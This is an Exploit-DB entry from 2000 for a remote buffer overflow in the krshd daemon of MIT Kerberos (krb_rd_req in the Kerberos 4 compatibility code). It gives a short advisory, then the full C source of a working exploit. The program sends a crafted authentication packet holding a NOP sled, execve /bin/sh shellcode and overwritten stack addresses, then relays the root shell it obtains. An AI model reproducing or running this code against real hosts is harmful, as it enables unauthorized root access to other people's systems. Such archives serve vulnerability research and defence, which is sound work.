Exploit-DB #19926
Description: Cygnus Network Security 4.0/KerbNet 5.0 / MIT Kerberos 4/5 / RedHat 6.2 - Compatibility 'krb_rd_req()' Remote Buffer Overflow (3)
Type: remote
Platform: linux
Date: 2000-04-08
Author: Jim Paris

Exploit:
// source: https://www.securityfocus.com/bid/1220/info
  
  
Several buffer overflow vulnerabilities exist in Kerberos 5 implmenetations due to buffer overflows in the Kerberos 4 compatability code. These include MIT Kerberos 5 releases 1.0.x, 1.1 and 1.1.1, MIT Kerberos 4 patch level 10 (and, most likely, prior releases), and Cygnus KerbNet and Network Security (CNS). The main source of problems is due to a buffer overflow in the krb_rd_req() library function. This function is used by every application that supports Kerberos 4 authentication, including, but not limited to, kshrd, klogin, telnetd, ftpd, rkinitd, v4rcp and kpopd. Therefore, it is possible for a remote attacker to exploit this vulnerability and gain root access on affected machines, or obtain root level access once local.
  
A setuid version of v4rcp is shipped with RedHat Linux 6.2, as part of a full install. It is possible to use this program, to obtain root level access.
  
In addition, there are other buffer overruns present in the ksu and krshd sources from MIT. These problems will be remedied in the same release from MIT that fixes the krrb_rd_req() vulnerability.


/********
 * kshux.c -- krshd remote exploit
 * written April 8, 2000
 * Jim Paris <jim@jtan.com>
 * 
 * This program exploits a vulnerability in the 'krshd' daemon included
 * with the MIT Kerberos distribution.  All versions are apparently
 * vulnerable.
 *
 * This exploit is for Linux/x86 with Kerberos version 1.0, but you'll
 * probably need a fair bit of coaxing to get it to work.
 *
 * And yes, it's ugly.  I need to accept an incoming connection from the
 * remote server, handle the fact that the overflow goes through two
 * functions and a toupper(), make sure that certain overwritten pointers
 * on the remote host's stack are set to valid values so that a strlen
 * call in krb425_conv_principal() doesn't cause a segfault before we
 * return into the shellcode, adjust the offset depending on the remote
 * hostname to properly align things, etc etc.  As a result, you'll
 * probably have a hard time getting this to work -- it took a lot of
 * hacking and hardcoded numbers to get this to work against my test
 * systems.
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <netdb.h>
#include <time.h>
#include <netinet/in.h>

#define LEN 1200
#define OFFSET 0
#define ADDR 0xbfffd7a4

char *sc="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
         "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
         "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

void get_incoming(int r) {
  int s, l=1; struct sockaddr_in sa, ra;
  bzero(&sa,sizeof(sa));
  sa.sin_family=AF_INET;
  sa.sin_addr.s_addr=htonl(INADDR_ANY);
  sa.sin_port=htons(16474);
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
    perror("socket"),exit(1);
  setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&l,sizeof(l));
  if(bind(s,(struct sockaddr *)&sa,sizeof(sa))<0)
    perror("bind"),exit(1);
  if(listen(s,1)) 
    perror("listen"),exit(1);
  write(r,"16474",6);
  if(accept(s,&sa,&l)<0) 
    perror("accept"),exit(1);
}

int con_outgoing(char *h) {
  int s, i; struct sockaddr_in a; struct hostent *e;
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
    perror("socket"),exit(1);
  if((i=inet_addr(h))==INADDR_NONE) { 
    if((e=gethostbyname(h))==NULL)
      perror("gethostbyname"),exit(1);
    bcopy(e->h_addr,&i,sizeof(i)); }
  bzero(&a,sizeof(a));
  a.sin_family=AF_INET;
  a.sin_addr.s_addr=i;
  a.sin_port=htons(544);
  if(connect(s,(struct sockaddr *)&a,sizeof(a))<0)
    perror("connect"),exit(1);
  return s;
}

void bus(int s) {
  int i; fd_set r; char b[1024];
  for(;;) {
    FD_ZERO(&r); FD_SET(0,&r); FD_SET(s,&r);
    if((i=select(s+1,&r,NULL,NULL,NULL))==-1)
      perror("select"),exit(1);
    if(i==0) fprintf(stderr,"closed\n"),exit(0);
    if(FD_ISSET(s,&r)) {
      if((i=read(s,b,sizeof(b)))<1)
	fprintf(stderr,"closed\n"),exit(0);
      write(1,b,i); }
    if(FD_ISSET(0,&r)) {
      if((i=read(0,b,sizeof(b)))<1)
	fprintf(stderr,"closed\n"),exit(0);
      write(s,b,i); } }
}

void main(int ac, char *av[])
{
  int s, i, j, a=ADDR, o=OFFSET;
  int l, h;
  char b[LEN];

  if(ac<2) { 
    fprintf(stderr,"%s hostname [addr] [offset]\n",*av);
    exit(1);
  }
  a+=(ac>2)?atoi(av[2]):0;
  o+=(ac>3)?atoi(av[3]):(4-(strlen(av[1])%4));
  o%=4;
  if(o<0) o+=4;
  l=(ac>4)?atoi(av[4]):-10;
  h=(ac>5)?atoi(av[5]):10;
  fprintf(stderr,"addr=%p, offset=%d\n",a,o);

  if(isupper(((char *)&a)[0]) ||
     isupper(((char *)&a)[1]) ||
     isupper(((char *)&a)[2]) ||
     isupper(((char *)&a)[3]))
    fprintf(stderr,"error: addr contains uppercase\n"),exit(0);

  s=con_outgoing(av[1]);
  get_incoming(s);

  sprintf(&b[0],"AUTHV0.1blahblah");
  *(int *)(b+16)=htonl(LEN);
  b[20]=4; b[21]=7; b[22]=123;
  write(s,b,23);

  for(i=0;i<LEN-8-strlen(sc)-1;i++) b[i]=0x90;
  bcopy(sc,b+i,strlen(sc)+1);
  for(i=LEN-8;i<LEN;i++) b[i]=0x00;

  for(i=255+o+l*4;i<=255+o+h*4;i+=4) *(int *)(b+i)=(a-4);
  *(int *)(b+251+o)=a;

  write(s,b,LEN);

  bus(s);
}